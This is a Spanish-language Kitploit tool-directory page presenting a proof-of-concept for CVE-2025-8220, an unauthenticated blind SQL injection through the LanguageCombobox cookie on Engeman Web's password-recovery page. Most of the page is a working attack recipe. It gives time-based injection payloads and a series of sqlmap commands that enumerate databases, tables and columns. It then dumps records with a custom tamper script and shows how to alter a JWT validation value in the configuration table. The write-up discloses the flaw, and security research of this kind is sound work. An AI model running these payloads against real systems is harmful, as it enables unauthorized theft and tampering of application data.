Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
engeman-web-language-combobox-sqli — Prueba de concepto para la explotación de la vulnerabilidad descrita en CVE-2025-8220, que se refiere a la posibilidad de inyección SQL durante la carga de la página de recuperación de contraseña en el software Engeman Web. | Kitploit
Herramientas/GitHubGitHub/m3m0o/engeman-web-language-combobox-sqli
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubm3m0o/engeman-web-language-combobox-sqli

engeman-web-language-combobox-sqli

Prueba de concepto para la explotación de la vulnerabilidad descrita en CVE-2025-8220, que se refiere a la posibilidad de inyección SQL durante la carga de la página de recuperación de contraseña en el software Engeman Web.

Ver Repositorio
33hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Engeman Web <= 12.0.0.2 Inyección SQL no autenticada en la carga de la página de recuperación de contraseña

Prueba de concepto para la explotación de la vulnerabilidad descrita en CVE-2025-8220, que se refiere a la posibilidad de inyección SQL durante la carga de la página de recuperación de contraseña en el software Engeman Web.

Descripción

Se encontró una vulnerabilidad en el software Engeman Web que permite la manipulación de la consulta SQL realizada durante la carga de la página de recuperación de contraseña. Esta vulnerabilidad puede ser explotada por visitantes sin acceso a credenciales válidas, es decir, de forma no autenticada, para comprometer la confidencialidad y la integridad de los datos almacenados en la base de datos de la aplicación, así como potencialmente causar una denegación de servicio a nivel de componente al alterar valores en tablas críticas.

Sitio web del proveedor

https://engeman.com/en/

Explotación

Después de acceder a la aplicación y ser redirigido a la página de inicio de sesión, haga clic en el botón para ser redirigido a la página de recuperación de contraseña.

Página inicial de Engeman Web

Página de recuperación de contraseña de Engeman Web

Revise la solicitud realizada por el navegador para cargar la página de recuperación de contraseña. Notará que hay algunas cookies presentes, incluida la cookie LanguageCombobox, que se almacena durante el acceso inicial. En esta demostración se utilizó el software Burp Suite para ver y reenviar las solicitudes del navegador de manera más eficiente.

Solicitud realizada para obtener el contenido de la página de recuperación de contraseña

Para confirmar la vulnerabilidad, inserte una comilla simple como valor de la cookie mencionada y reenvíe la solicitud. En la respuesta de la aplicación debería mostrarse un error que indique una comilla sin cerrar.

Forzando un error en la aplicación mediante una comilla simple en el valor de la cookie LanguageCombobox

Los resultados de la consulta no se muestran directamente en la página devuelta, lo que convierte esto en una explotación ciega. Puede insertar payloads como ' AND SLEEP(30)-- - o '; WAITFOR DELAY '0:0:30'-- para inferir la base de datos subyacente.

Inferiendo el tipo de base de datos subyacente mediante un payload basado en tiempo

Una vez confirmada la inyección, se puede utilizar una herramienta automatizada como sqlmap para volcar la base de datos.

Es importante tener en cuenta que el argumento --technique debe incluir el valor SEB para que se utilicen técnicas basadas en consultas apiladas, errores, y comparaciones booleanas. Primero, porque es necesaria una explotación ciega, y segundo, porque omitir la opción S del valor del argumento hizo que sqlmap no pudiera encontrar el punto de inyección en bases de datos SQL Server.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

Usando sqlmap para probar el punto de inyección

A través del punto de inyección se identificarán diferentes técnicas de explotación posibles. Después de eso, se puede recuperar la información de la base de datos.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

Obteniendo las bases de datos disponibles mediante sqlmap

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

Obteniendo las tablas disponibles mediante sqlmap

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

Obteniendo las columnas disponibles mediante sqlmap

Para volcar los registros de las tablas usando sqlmap, es necesario utilizar un script tamper personalizado (al menos para bases de datos SQL Server) que se llama replace-dbo.py en este repositorio. La razón es que los payloads de sqlmap que utilizan el formato <database>.dbo.<table> para referenciar el objeto de la tabla entran en conflicto con el procesamiento de la aplicación. El tamper mencionado lo convierte únicamente al formato <database>.<table>. Si la instancia de Engeman Web utiliza MySQL u otra base de datos, este tamper no será necesario, o se deberá crear otro.

Probando un payload con el formato <database>.dbo.<table> para referenciar el objeto de la tabla

Probando el mismo payload pero ahora con el formato <database>.<table> para referenciar el objeto de la tabla

Recuerde que la herramienta sqlmap requiere que exista un archivo vacío llamado init.py en el directorio donde se encuentra el script tamper para poder usarlo, si no lo ha colocado en el directorio tamper predeterminado de su instalación.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py

Obteniendo las configuraciones generales de la aplicación

Este tamper causará conflictos si se utiliza en cualquier etapa del proceso distinta del volcado de una tabla específica. Por lo tanto, no lo utilice para obtener las bases de datos (--dbs), las tablas (--tables), las columnas (--columns) ni información adicional como el usuario de la base de datos (--current-user).

Dado que el usuario que utiliza la aplicación para interactuar con la base de datos tiene privilegios elevados dentro del contexto de los registros del sistema, también es posible manipular la consulta subyacente para alterar los valores de los registros de las tablas (esto es mucho más fácil si la instancia utiliza SQL Server como base de datos subyacente).

Valor inicial de la entrada única de la columna JWTVALIDOTOKEN de la tabla CFGGERAL

Modificando el valor de la columna de entrada JWTVALIDOTOKEN

Valor modificado de la entrada única de la columna JWTVALIDOTOKEN de la tabla CFGGERAL

Impacto

Mediante esta vulnerabilidad, cualquier instancia del sistema sería susceptible a la recuperación no autorizada y posible modificación de los datos presentes en la base de datos en uso.

Esta vulnerabilidad se confirmó en versiones hasta 12.0.0.1, pero es probable que una versión más reciente también sea vulnerable.

Descargar herramienta